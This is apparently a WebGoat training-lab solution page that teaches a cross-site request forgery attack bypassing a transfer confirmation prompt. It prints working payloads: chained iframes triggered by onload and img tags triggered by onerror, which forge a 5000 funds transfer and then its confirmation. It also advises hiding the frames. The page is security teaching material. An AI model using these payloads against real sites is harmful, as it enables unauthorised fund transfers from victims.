<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Client Side Filtering</title>
<link rel="stylesheet" type="text/css" href="formate.css">
</head>
<body>
<p><b>Lesson Plan Title:</b>Prompt By-Pass with CSRF
<p>

<p><b>Concept / Topic To Teach:</b>
<p>
This lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks containing 
multiple requests to by-pass a scriptable user-prompt

<p>
<b>General Goal(s):</b>
<p>
Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains multiple 
malicious requests: the first request to transfer funds, and the second request to confirm the prompt 
that the first request triggered.  The URLs should point to the attack servlet with this lesson's numeric Screen, menu and with an extra 
parameter "transferFunds=5000", and "transferFunds=CONFIRM". You can copy the shortcut from the 
left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever 
receives this email and happens to be authenticated at that time will have his funds transferred. 
When you think the attack is successful, refresh the page and you will find the green check on 
the left hand side menu.
<p>
<b>Solution:</b>
<p>
Start by crafting an image or iframe tag with a reference similar to the one in the CSRF lab: http://localhost:8080/WebGoat/attack?Screen=XXX&amp;menu=YYY&amp;transferFunds=5000"</code> 
<p>
This image or frame request will not result in a transfer of funds but will instead 
prompt the user for confirmation.  To see the confirmation prompt, try typing in the attack URL of the
Lesson with the extra parameter of "transferFunds=5000".
<p> 
<img src="CsrfPromptByPass_files/transferFundsPrompt.png" alt="User Prompt for confirmation of the transfer of funds" />
<p>
<font size="2"><b>User Prompt</b></font>
<p>
Next, look at the source of the page to see what parameters the confirmation requires. 
The form in the confirmation prompt looks like the following:
<p>
<code><pre id="line548">&lt;<span class="start-tag">form</span><span class="attribute-name"> accept-charset</span>=<span class="attribute-value">'UNKNOWN' </span><span class="attribute-name">method</span>=<span class="attribute-value">'POST' </span><span class="attribute-name">action</span>=<span class="attribute-value">'attack?Screen=XXX&amp;menu=YYY' </span><span class="attribute-name">enctype</span>=<span class="attribute-value">'application/x-www-form-urlencoded'</span>&gt;
	&lt;<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'transferFunds' </span><span class="attribute-name">type</span>=<span class="attribute-value">'submit' </span><span class="attribute-name">value</span>=<span class="attribute-value">'CONFIRM'</span>&gt;
	&lt;<span class="start-tag">input</span><span class="attribute-name"> name</span>=<span class="attribute-value">'transferFunds' </span><span class="attribute-name">type</span>=<span class="attribute-value">'submit' </span><span class="attribute-name">value</span>=<span class="attribute-value">'CANCEL'</span>&gt;
&lt;/<span class="end-tag">form</span>&gt;</pre></code>
<p>
From this we see the next forged command will need the folllowing URL:
<code>attack?Screen=XXX&amp;menu=YYY&amp;transferFunds=CONFIRM</code>
<p>
This solution shows how to do this attack with either iframes or images.  The next step is to 
add the additional forged confirmation request.  However, an additional iframe or image with 
this URL will not be sufficient.  The second request must load after the first.  So add 
Javascript to load the second command after the first.  For iframes, make the onload attribute 
of the first frame set the src of the second iframe:
<p>
<code>
<pre id="line578">&lt;<span class="start-tag">iframe</span><span class="attribute-name">
	src</span>=<span class="attribute-value">"http://localhost:8080/WebGoat/attack?Screen=XXX&amp;menu=YYY&amp;transferFunds=5000"
	</span><span class="attribute-name">id</span>=<span class="attribute-value">"myFrame" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
	</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"
	</span><span class="attribute-name">onload</span>=<span class="attribute-value">"document.getElementById('frame2').src='http://localhost:8080/WebGoat/attack?Screen=XXX&amp;menu=YYY&amp;transferFunds=CONFIRM';"</span>&gt;
&lt;/<span class="end-tag">iframe</span>&gt;</pre>
<p>
<pre id="line591">&lt;<span class="start-tag">iframe</span><span class="attribute-name">
	id</span>=<span class="attribute-value">"frame2" </span><span class="attribute-name">frameborder</span>=<span class="attribute-value">"1" </span><span class="attribute-name">marginwidth</span>=<span class="attribute-value">"0"
	</span><span class="attribute-name">marginheight</span>=<span class="attribute-value">"0" </span><span class="attribute-name">width</span>=<span class="attribute-value">"800" </span><span class="attribute-name">scrolling</span>=<span class="attribute-value">yes </span><span class="attribute-name">height</span>=<span class="attribute-value">"300"</span>&gt;
&lt;/<span class="end-tag">iframe</span>&gt;
</pre>
</code>
<p>
Next, add the iframes into a message stored on the web page:
<p>
<img src="CsrfPromptByPass_files/iframePromptHack.png" alt="Picture of embedded message" />
<p>
<font size="2"><b>Insert iframes hack picture</b></font>
<p>
The following shows the result of clicking on the malicious iframe message:
<p>
<img src="CsrfPromptByPass_files/iframePromptHacked.png" alt="Picture of the malicious iframe message" />
<p>
<font size="2"><b>Results of iframes hack picture</b></font>
<p>
In the above image, note that the first frame shows the user prompt, the result of the 
first forged request to transfer funds.  In the second frame the results of the second 
forged request (the confirmation) are shown, indicating that 4000 dollars were successfully 
transfered.  Refreshing the page will indicate that this lesson has been completed.  
<p>
In a real attack these results would be hidden from the end user.  Click "restart this lesson" 
to attempt the attack again, only this time try hiding the attack with hidden or very small frames. 
<p>
For images, loading an html page as an image will cause an error.  So instead of using the onload attribute, use onerror:
<p>
<code><pre>
&lt;img
src="http://localhost:8080/WebGoat/attack?Screen=XXX&amp;menu=YYY&amp;transferFunds=5000"
onerror="document.getElementById('image2').src='http://localhost:8080/WebGoat/attack?Screen=XXX&amp;menu=YYY&amp;transferFunds=CONFIRM'"&gt;
&lt;img id="image2" &gt;
</pre></code>
<p>
Next, store the malicious images in a message and click the message to attempt the attack. 
<p>
<img src="CsrfPromptByPass_files/imgPromptHack.png" alt="Picture of the malicious iframe message" />
<p>
<font size="2"><b>Picture of adding malicious image requests</b></font>
<p>
Refreshing the page should indicate that this lesson has been completed.  Congratulations.  One way for developers to limit
CSRF attacks is to only allow requests to be issued via HTTP Post.  That would remove any attacks by images or iframes, but 
not for XmlHttpRequests in Javascript. For extra credit, you could try the same attack but instead use XmlHttpRequest over post.
<p>
</body>
</html>
